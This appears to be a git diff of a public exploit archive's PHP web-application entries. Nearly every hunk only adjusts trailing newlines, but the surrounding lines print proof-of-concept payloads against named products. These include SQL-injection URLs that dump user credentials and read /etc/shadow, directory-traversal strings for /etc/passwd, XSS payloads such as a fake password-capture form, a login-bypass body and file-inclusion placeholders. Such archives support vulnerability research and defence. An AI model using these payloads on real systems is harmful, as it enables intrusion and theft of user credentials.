+http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/* \ No newline at end of file diff --git a/platforms/php/webapps/31804.txt b/platforms/php/webapps/31804.txt index 4b047086b..ba2d275a2 100755 --- a/platforms/php/webapps/31804.txt +++ b/platforms/php/webapps/31804.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to Digital Hive 2.0 RC2 is vulnerable; other versions may also be affected. -http://www.example.com/hive_v2.0_RC2/template/purpletech/base_include.php?page=../../etc/passwd \ No newline at end of file +http://www.example.com/hive_v2.0_RC2/template/purpletech/base_include.php?page=../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/31805.txt b/platforms/php/webapps/31805.txt index 65329e75b..c30fc52df 100755 --- a/platforms/php/webapps/31805.txt +++ b/platforms/php/webapps/31805.txt @@ -4,4 +4,4 @@ The 'KuiraniKerim' module for PHP-Nuke is prone to an SQL-injection vulnerabilit Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?name=KuraniKerim&op=TurkceNuke_Com_Islami_Moduller_Destek_Sitesi&sid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd,aid,2,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file +http://www.example.com/modules.php?name=KuraniKerim&op=TurkceNuke_Com_Islami_Moduller_Destek_Sitesi&sid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd,aid,2,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file diff --git a/platforms/php/webapps/31806.txt b/platforms/php/webapps/31806.txt index 44e529786..9f2516078 100755 --- a/platforms/php/webapps/31806.txt +++ b/platforms/php/webapps/31806.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to This issue affects bcoos 1.0.13; other versions may also be affected. -http://www.example.com/bcoos/class/debug/highlight.php?file=../../../../../boot.ini \ No newline at end of file +http://www.example.com/bcoos/class/debug/highlight.php?file=../../../../../boot.ini \ No newline at end of file diff --git a/platforms/php/webapps/31808.txt b/platforms/php/webapps/31808.txt index 42dcf91a5..d667a011b 100755 --- a/platforms/php/webapps/31808.txt +++ b/platforms/php/webapps/31808.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AppServ Open Project 2.5.10 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?appservlang=">[XSS] http://www.example.com/index.php?appservlang="><IMG%20SRC=java script:alert(/XSS/)> http://www.example.com/index.php?appservlang="><BODY%20ONLOAD=alert(/ xss/)> http://www.example.com/index.php?appservlang="><script>window.open(/phpinfo.php/)</script> http://www.example.com/index.php?appservlang="><INPUT%20TYPE="xss"> http://www.example.com/index.php?appservlang="><iframe%20src=http://www.example2.com> http://www.example.com/index.php?appservlang="><BR><input%20type%20=%20"password"%20name="pass"/><button%20onClick="java script:alert(/I%20have%20your%20password:%20/%20+%20pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> \ No newline at end of file +http://www.example.com/index.php?appservlang=">[XSS] http://www.example.com/index.php?appservlang="><IMG%20SRC=java script:alert(/XSS/)> http://www.example.com/index.php?appservlang="><BODY%20ONLOAD=alert(/ xss/)> http://www.example.com/index.php?appservlang="><script>window.open(/phpinfo.php/)</script> http://www.example.com/index.php?appservlang="><INPUT%20TYPE="xss"> http://www.example.com/index.php?appservlang="><iframe%20src=http://www.example2.com> http://www.example.com/index.php?appservlang="><BR><input%20type%20=%20"password"%20name="pass"/><button%20onClick="java script:alert(/I%20have%20your%20password:%20/%20+%20pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> \ No newline at end of file diff --git a/platforms/php/webapps/31809.txt b/platforms/php/webapps/31809.txt index a98271f69..69beab429 100755 --- a/platforms/php/webapps/31809.txt +++ b/platforms/php/webapps/31809.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Starsgames Control Panel 4.6.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<script>alert(/xss/)</script> http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<iframe src=http://www.google.com> \ No newline at end of file +http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<script>alert(/xss/)</script> http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<iframe src=http://www.google.com> \ No newline at end of file diff --git a/platforms/php/webapps/31810.txt b/platforms/php/webapps/31810.txt index a5454e70b..81e3b4d35 100755 --- a/platforms/php/webapps/31810.txt +++ b/platforms/php/webapps/31810.txt @@ -12,4 +12,4 @@ http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+u http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(CONCAT(CHAR(0x65),CHAR(0x74),CHAR(0x63),CHAR(0x2F),CHAR(0x70),CHAR(0x61),CHAR(0x73),CHAR(0x73),CHAR(0x77),CHAR(0x64))),2,0,4+from+users/* http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(0x6574632F706173737764),50),2,0,4+from+users/* http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/passwd),50),2,0,4+from+users/* -http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/shadow),50),2,0,4+from+users/* \ No newline at end of file +http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/shadow),50),2,0,4+from+users/* \ No newline at end of file diff --git a/platforms/php/webapps/31822.txt b/platforms/php/webapps/31822.txt index 4140b17b6..83f981a05 100755 --- a/platforms/php/webapps/31822.txt +++ b/platforms/php/webapps/31822.txt @@ -5,4 +5,4 @@ phpFreeForum is prone to multiple cross-site scripting vulnerabilities because i An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. http://www.example.com/[phpfreeforum_path]/html/part/menu.php?nickname=<XSS> -http://www.example.com/[phpfreeforum_path]/html/part/menu.php?randomid=<XSS> \ No newline at end of file +http://www.example.com/[phpfreeforum_path]/html/part/menu.php?randomid=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/31827.txt b/platforms/php/webapps/31827.txt index 94c624e06..d6bef5505 100755 --- a/platforms/php/webapps/31827.txt +++ b/platforms/php/webapps/31827.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br BMForum 5.6 is vulnerable; other versions may also be affected. http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?topads=<XSS> -http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?myplugin=<XSS> \ No newline at end of file +http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?myplugin=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/31835.txt b/platforms/php/webapps/31835.txt index e9930cc69..8d10b8b7f 100755 --- a/platforms/php/webapps/31835.txt +++ b/platforms/php/webapps/31835.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br SAFARI Montage 3.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/SAFARI/montage/forgotPW.php?school="><script>alert(1)</script> http://www.example.com/SAFARI/montage/forgotPW.php?email="><iframe src="http://www.example2.com"> \ No newline at end of file +http://www.example.com/SAFARI/montage/forgotPW.php?school="><script>alert(1)</script> http://www.example.com/SAFARI/montage/forgotPW.php?email="><iframe src="http://www.example2.com"> \ No newline at end of file diff --git a/platforms/php/webapps/31836.txt b/platforms/php/webapps/31836.txt index 13c844689..251f51526 100755 --- a/platforms/php/webapps/31836.txt +++ b/platforms/php/webapps/31836.txt @@ -4,4 +4,4 @@ The Upload File plugin for WordPress is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-uploadfile.php?f_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/* \ No newline at end of file +http://www.example.com/wp-uploadfile.php?f_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31837.txt b/platforms/php/webapps/31837.txt index d9297107d..3ce92ba4f 100755 --- a/platforms/php/webapps/31837.txt +++ b/platforms/php/webapps/31837.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc DZOIC Handshakes 3.5 is vulnerable; other versions may also be affected. -http://www.example.com/dzoic/index.php?handler=search&action=perform&search_type=members&fname=[Sql Injection]&lname=jakson&email=1@www.example2.com&handshakes=0&distance=0&country=0&state=0&city=0&postal_code=12345&online=on&with_photo=on&submit=Search \ No newline at end of file +http://www.example.com/dzoic/index.php?handler=search&action=perform&search_type=members&fname=[Sql Injection]&lname=jakson&email=1@www.example2.com&handshakes=0&distance=0&country=0&state=0&city=0&postal_code=12345&online=on&with_photo=on&submit=Search \ No newline at end of file diff --git a/platforms/php/webapps/31838.txt b/platforms/php/webapps/31838.txt index 4423c8799..7d9771960 100755 --- a/platforms/php/webapps/31838.txt +++ b/platforms/php/webapps/31838.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Specific vulnerable versions have not been provided. We will update this BID as more information emerges. -http://www.example.com/horde/kronolith/workweek.php?timestamp=<XSS> \ No newline at end of file +http://www.example.com/horde/kronolith/workweek.php?timestamp=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/31839.txt b/platforms/php/webapps/31839.txt index 5d29ed6d2..96b269109 100755 --- a/platforms/php/webapps/31839.txt +++ b/platforms/php/webapps/31839.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Specific vulnerable versions have not been provided. We will update this BID as more information emerges. -http://www.example.com/horde/kronolith/week.php?timestamp=<XSS> \ No newline at end of file +http://www.example.com/horde/kronolith/week.php?timestamp=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/3184.txt b/platforms/php/webapps/3184.txt index f9bcfeff6..d1b735e27 100755 --- a/platforms/php/webapps/3184.txt +++ b/platforms/php/webapps/3184.txt @@ -1,4 +1,4 @@ -_________________________________ + _________________________________ ________| |________ \ | Dr Max Virus | / \ | | / diff --git a/platforms/php/webapps/31840.txt b/platforms/php/webapps/31840.txt index 9edb8cefc..62b53af57 100755 --- a/platforms/php/webapps/31840.txt +++ b/platforms/php/webapps/31840.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Specific vulnerable versions have not been provided. We will update this BID as more information emerges. -http://www.example.com/horde/kronolith/day.php?timestamp=<XSS> \ No newline at end of file +http://www.example.com/horde/kronolith/day.php?timestamp=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/31841.txt b/platforms/php/webapps/31841.txt index 9614feed9..00b069ad2 100755 --- a/platforms/php/webapps/31841.txt +++ b/platforms/php/webapps/31841.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br miniCWB 2.1.1 is vulnerable; other versions may also be affected. http://www.example.com/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?errcontext=<XSS> -http://www.example.com/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?fckphp_config[Debug_SERVER]=<XSS> \ No newline at end of file +http://www.example.com/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?fckphp_config[Debug_SERVER]=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/31842.txt b/platforms/php/webapps/31842.txt index 6043c876c..d3728028f 100755 --- a/platforms/php/webapps/31842.txt +++ b/platforms/php/webapps/31842.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AbleSpace 1.0 is vulnerable; other versions may also be affected. -Http://www.example.com/ablespace/adv_cat.php?cat_id=[sql inection] \ No newline at end of file +Http://www.example.com/ablespace/adv_cat.php?cat_id=[sql inection] \ No newline at end of file diff --git a/platforms/php/webapps/31845.txt b/platforms/php/webapps/31845.txt index b5ce531a4..5ab7140e4 100755 --- a/platforms/php/webapps/31845.txt +++ b/platforms/php/webapps/31845.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a phpFix 2.0 is vulnerable; other versions may also be affected. http://www.example.com/phpfix/auth/00_pass.php?passwd=blah&account='+or+account+like+'blah% -http://www.example.com/phpfix/auth/00_pass.php?passwd=blah&account='+or+passwd+like+'blah% \ No newline at end of file +http://www.example.com/phpfix/auth/00_pass.php?passwd=blah&account='+or+passwd+like+'blah% \ No newline at end of file diff --git a/platforms/php/webapps/3185.txt b/platforms/php/webapps/3185.txt index 6e0cb0708..9a5d28713 100755 --- a/platforms/php/webapps/3185.txt +++ b/platforms/php/webapps/3185.txt @@ -1,4 +1,4 @@ -_________________________________ + _________________________________ ________| |________ \ | Dr Max Virus | / \ | | / diff --git a/platforms/php/webapps/31855.txt b/platforms/php/webapps/31855.txt index b59c8121f..455bef68a 100755 --- a/platforms/php/webapps/31855.txt +++ b/platforms/php/webapps/31855.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Tr Script News 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/news/news.php?mode=voir&nb=[XSS] \ No newline at end of file +http://www.example.com/news/news.php?mode=voir&nb=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31858.txt b/platforms/php/webapps/31858.txt index f4060b39f..2f043c6d9 100755 --- a/platforms/php/webapps/31858.txt +++ b/platforms/php/webapps/31858.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Calcium 4.0.4 and 3.10 are vulnerable; other versions may also be affected. -http://www.example.com/cgi-bin/Calcium40.pl?Op=ShowIt&CalendarName=[xss] \ No newline at end of file +http://www.example.com/cgi-bin/Calcium40.pl?Op=ShowIt&CalendarName=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/31866.txt b/platforms/php/webapps/31866.txt index a41ce04ff..6219c5598 100755 --- a/platforms/php/webapps/31866.txt +++ b/platforms/php/webapps/31866.txt @@ -4,4 +4,4 @@ TorrentTrader Classic is prone to an SQL-injection vulnerability because it fail Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/scrape.php?info_hash=%22union%20select%201,1,1,1,ip%20from%20users--%20%20%20 \ No newline at end of file +http://www.example.com/scrape.php?info_hash=%22union%20select%201,1,1,1,ip%20from%20users--%20%20%20 \ No newline at end of file diff --git a/platforms/php/webapps/31867.php b/platforms/php/webapps/31867.php index e3c278777..0c5274010 100755 --- a/platforms/php/webapps/31867.php +++ b/platforms/php/webapps/31867.php @@ -23,8 +23,8 @@ print_r(' # Dork: inurl:"index.php?css=mid=art=" # Admin Panel: [Target]/cms/ # Usage: php '.$argv[0].' [Target] [Userid] -# Example for "http://www.server/index.php?css=1&mid=100&art=1" -# => php '.$argv[0].' http://www.server 1 +# Example for "http://www.site.com/index.php?css=1&mid=100&art=1" +# => php '.$argv[0].' http://www.site.com 1 # ############################################################### '); diff --git a/platforms/php/webapps/31868.txt b/platforms/php/webapps/31868.txt index 78ff5be1b..e0ca55ebe 100755 --- a/platforms/php/webapps/31868.txt +++ b/platforms/php/webapps/31868.txt @@ -10,4 +10,4 @@ The following example POST parameters are available to demonstrate this issue: userAccount: admin ' or 1=1/* userPassword: <anything> -userType: Staff \ No newline at end of file +userType: Staff \ No newline at end of file diff --git a/platforms/php/webapps/31880.txt b/platforms/php/webapps/31880.txt index 00c1b4702..036160b76 100755 --- a/platforms/php/webapps/31880.txt +++ b/platforms/php/webapps/31880.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WyMIEN PHP 1.0RC2 is vulnerable; other versions may also be affected. -http://www.example.com/WyMienphp1.0-RC2/WyMienphp/index.php?f=[XSS] \ No newline at end of file +http://www.example.com/WyMienphp1.0-RC2/WyMienphp/index.php?f=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31882.txt b/platforms/php/webapps/31882.txt index aa136d965..0bd9be4f4 100755 --- a/platforms/php/webapps/31882.txt +++ b/platforms/php/webapps/31882.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SamTodo 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?go=main.taskeditor&tid=f29de7fa-6625-4e20-8a19-11c0f4d799f6[XSS]&mode=edit \ No newline at end of file +http://www.example.com/index.php?go=main.taskeditor&tid=f29de7fa-6625-4e20-8a19-11c0f4d799f6[XSS]&mode=edit \ No newline at end of file diff --git a/platforms/php/webapps/31888.txt b/platforms/php/webapps/31888.txt index 5f1a18b7d..310e59353 100755 --- a/platforms/php/webapps/31888.txt +++ b/platforms/php/webapps/31888.txt @@ -10,4 +10,4 @@ http://www.example.com/education/components/scrapbook/default.php?sectiondetaili http://www.example.com/education/district/district.php?sectiondetailid=#XSS http://www.example.com/education/admin/XSS http://www.example.com/education/components/XSS -http://www.example.com/education/components/whatsnew/default.php?sectiondetailid=#XSS \ No newline at end of file +http://www.example.com/education/components/whatsnew/default.php?sectiondetailid=#XSS \ No newline at end of file diff --git a/platforms/php/webapps/31902.txt b/platforms/php/webapps/31902.txt index 60722bb42..44be19e2c 100755 --- a/platforms/php/webapps/31902.txt +++ b/platforms/php/webapps/31902.txt @@ -4,4 +4,4 @@ Noticia Portal is prone to an SQL-injection vulnerability because it fails to su Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/detalle_noticia.php?id_noticia=[SQL] \ No newline at end of file +http://www.example.com/detalle_noticia.php?id_noticia=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/3191.txt b/platforms/php/webapps/3191.txt index ba3b92f50..dccf2e249 100755 --- a/platforms/php/webapps/3191.txt +++ b/platforms/php/webapps/3191.txt @@ -1,4 +1,4 @@ -_________________________________ + _________________________________ ________| |________ \ | Dr Max Virus | / \ | | / diff --git a/platforms/php/webapps/31933.txt b/platforms/php/webapps/31933.txt index 36ec37fe0..ee743080e 100755 --- a/platforms/php/webapps/31933.txt +++ b/platforms/php/webapps/31933.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/opendocman-1.2.5/out.php?last_message=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/opendocman-1.2.5/out.php?last_message=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/31938.txt b/platforms/php/webapps/31938.txt index 82d84981e..2c68ea6f8 100755 --- a/platforms/php/webapps/31938.txt +++ b/platforms/php/webapps/31938.txt @@ -8,4 +8,4 @@ This issue affects photokorn 1.542; other versions may be vulnerable as well. The following proof-of-concept URI is available: -http://www.example.com/[path]/index.php?action=[SQL] \ No newline at end of file +http://www.example.com/[path]/index.php?action=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/31939.txt b/platforms/php/webapps/31939.txt index 7b81e6e78..51dfcf8fa 100755 --- a/platforms/php/webapps/31939.txt +++ b/platforms/php/webapps/31939.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow vBulletin 3.7.1 PL1 and 3.6.10 PL1 are vulnerable; prior versions may also be affected. http://www.example.com/vB3/modcp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K -http://www.example.com/vB3/modcp/index.php?redirect={XSS} \ No newline at end of file +http://www.example.com/vB3/modcp/index.php?redirect={XSS} \ No newline at end of file diff --git a/platforms/php/webapps/31944.txt b/platforms/php/webapps/31944.txt index 17617c727..afd033167 100755 --- a/platforms/php/webapps/31944.txt +++ b/platforms/php/webapps/31944.txt @@ -4,4 +4,4 @@ PHPAuction is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/* \ No newline at end of file +http://www.example.com/profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/* \ No newline at end of file diff --git a/platforms/php/webapps/31945.txt b/platforms/php/webapps/31945.txt index b97fc0b47..45d26dbc0 100755 --- a/platforms/php/webapps/31945.txt +++ b/platforms/php/webapps/31945.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/path/template2.php?sitetitle=[XSS] http://www.example.com/path/template2.php?sitenav=[XSS] http://www.example.com/path/template2.php?sitemain=[XSS] -http://www.example.com/path/template2.php?sitealt=[XSS] \ No newline at end of file +http://www.example.com/path/template2.php?sitealt=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31946.txt b/platforms/php/webapps/31946.txt index 812903421..8da3e6f3e 100755 --- a/platforms/php/webapps/31946.txt +++ b/platforms/php/webapps/31946.txt @@ -9,4 +9,4 @@ IDMOS 1.0 is vulnerable; other versions may also be affected. http://www.example.com/path/administrator/admin.php?site_absolute_path=[SHELL] http://www.example.com/path/administrator/menu_operation.php?site_absolute_path=[SHELL] http://www.example.com/path/administrator/template_add.php?site_absolute_path=[SHELL] -http://www.example.com/path/administrator/template_operation.php?site_absolute_path=[SHELL] \ No newline at end of file +http://www.example.com/path/administrator/template_operation.php?site_absolute_path=[SHELL] \ No newline at end of file diff --git a/platforms/php/webapps/31947.txt b/platforms/php/webapps/31947.txt index 73c7f6f07..964d488a1 100755 --- a/platforms/php/webapps/31947.txt +++ b/platforms/php/webapps/31947.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc EXP Shop 1.0 is vulnerable; previous versions may also be affected. -http://www.example.com/index.php?option=com_expshop&page=show_payment&catid=-2 UNION SELECT @@version,@@version,concat(username,0x3a,password) FROM jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_expshop&page=show_payment&catid=-2 UNION SELECT @@version,@@version,concat(username,0x3a,password) FROM jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/31948.txt b/platforms/php/webapps/31948.txt index f8e69a0c8..5bfe867b3 100755 --- a/platforms/php/webapps/31948.txt +++ b/platforms/php/webapps/31948.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute malicious PHP code in the context ODARS 1.0.2 is vulnerable; other versions may be affected as well. -http://www.example.com/path/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=[SHELL] \ No newline at end of file +http://www.example.com/path/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=[SHELL] \ No newline at end of file diff --git a/platforms/php/webapps/31956.txt b/platforms/php/webapps/31956.txt index 77298c7d3..5fdd32c0a 100755 --- a/platforms/php/webapps/31956.txt +++ b/platforms/php/webapps/31956.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica These issues affect 'benja CMS 0.1'; other versions may also be affected. -http://www.example.com/[benjacms_path]/admin/admin_edit_topmenu.php/<XSS> \ No newline at end of file +http://www.example.com/[benjacms_path]/admin/admin_edit_topmenu.php/<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/31960.txt b/platforms/php/webapps/31960.txt index 93ea2bd97..353517099 100755 --- a/platforms/php/webapps/31960.txt +++ b/platforms/php/webapps/31960.txt @@ -9,4 +9,4 @@ These issues affect News Management System 0.3; other versions may also be vulne http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/system/include.php?skindir=[SHELL] http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/register.php?skindir=[LFI] http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/login.php?skindir=[LFI] -http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/register.php?e=[XSS] \ No newline at end of file +http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/register.php?e=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31963.txt b/platforms/php/webapps/31963.txt index 3530e1946..97c956e42 100755 --- a/platforms/php/webapps/31963.txt +++ b/platforms/php/webapps/31963.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/Script/out.php?linkid=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11-- http://www.example.com/out.php?linkid=50+and+1=1 (true) -http://www.example.com/out.php?linkid=50+and+1=2 (false) \ No newline at end of file +http://www.example.com/out.php?linkid=50+and+1=2 (false) \ No newline at end of file diff --git a/platforms/php/webapps/31970.txt b/platforms/php/webapps/31970.txt index b21493c47..e8352d436 100755 --- a/platforms/php/webapps/31970.txt +++ b/platforms/php/webapps/31970.txt @@ -74,4 +74,4 @@ u_id=0&u_form=1&u_login='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&u_active=1&u_l # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) -# o/ \ No newline at end of file +# o/ \ No newline at end of file diff --git a/platforms/php/webapps/31971.txt b/platforms/php/webapps/31971.txt index 058965a9f..7d8b9903c 100755 --- a/platforms/php/webapps/31971.txt +++ b/platforms/php/webapps/31971.txt @@ -19,4 +19,4 @@ Host: 10.149.14.62 # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) -# o/ \ No newline at end of file +# o/ \ No newline at end of file diff --git a/platforms/php/webapps/31981.txt b/platforms/php/webapps/31981.txt index 848fd08a7..5eb49c74f 100755 --- a/platforms/php/webapps/31981.txt +++ b/platforms/php/webapps/31981.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PolyPager 1.0rc2 and prior versions are vulnerable. -http://www.example.com/polypager/?[Web Page]&nr=[XSS] \ No newline at end of file +http://www.example.com/polypager/?[Web Page]&nr=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31989.txt b/platforms/php/webapps/31989.txt index 387a029f6..5d3a00173 100755 --- a/platforms/php/webapps/31989.txt +++ b/platforms/php/webapps/31989.txt @@ -23,4 +23,4 @@ FormID=09607700a0e7ff0699503963022b5ae0944cd0bc&ReportType=Detail&OrderType=0&Da # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) -# o/ \ No newline at end of file +# o/ \ No newline at end of file diff --git a/platforms/php/webapps/32003.txt b/platforms/php/webapps/32003.txt index 40ae2da8e..3e767077b 100755 --- a/platforms/php/webapps/32003.txt +++ b/platforms/php/webapps/32003.txt @@ -7,4 +7,4 @@ A successful exploit could allow an attacker to compromise the application, acce RSS-aggregator 1.0 is vulnerable; other versions may also be affected. http://www.example.com/admin/fonctions/supprimer_flux.php?IdFlux=5 -http://www.example.com/admin/fonctions/modifier_tps_rafraich.php?TpsRafraich=500 \ No newline at end of file +http://www.example.com/admin/fonctions/modifier_tps_rafraich.php?TpsRafraich=500 \ No newline at end of file diff --git a/platforms/php/webapps/32004.txt b/platforms/php/webapps/32004.txt index 9200b80de..f975fc80b 100755 --- a/platforms/php/webapps/32004.txt +++ b/platforms/php/webapps/32004.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br FaName 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/[FANAME-DIRECTORY]/index.php?key="><script>alert(document.cookies)</script> http://www.example.com/[FANAME-DIRECTORY]/index.php?desc="><script>alert(document.cookies)</script> \ No newline at end of file +http://www.example.com/[FANAME-DIRECTORY]/index.php?key="><script>alert(document.cookies)</script> http://www.example.com/[FANAME-DIRECTORY]/index.php?desc="><script>alert(document.cookies)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32010.txt b/platforms/php/webapps/32010.txt index d44334730..6a74ae1af 100755 --- a/platforms/php/webapps/32010.txt +++ b/platforms/php/webapps/32010.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a These issues affect 'com_is' 1.0.1; other versions may also be affected. http://www.example.com/index.php?option=com_is&task=model&marka=-1%20union%20select%201,2,concat(CHAR(60,117,115,101,114,62),".$uname.",CHAR(60,117,115,101,114,62)),4,5,6,7,8,9,10,11,12,13 from/**/".$magic."/** -http://www.example.com/index.php?option=com_is&task=motor&motor=-1%20union%20select%201,2,password,4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_is&task=motor&motor=-1%20union%20select%201,2,password,4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/32011.txt b/platforms/php/webapps/32011.txt index 2d494f79f..362d79e1f 100755 --- a/platforms/php/webapps/32011.txt +++ b/platforms/php/webapps/32011.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to DodosMail 2.5 is vulnerable; other versions may also be affected. -http://www.example.com/path/dodosmail.php?dodosmail_header_file=/../../../etc/passwd \ No newline at end of file 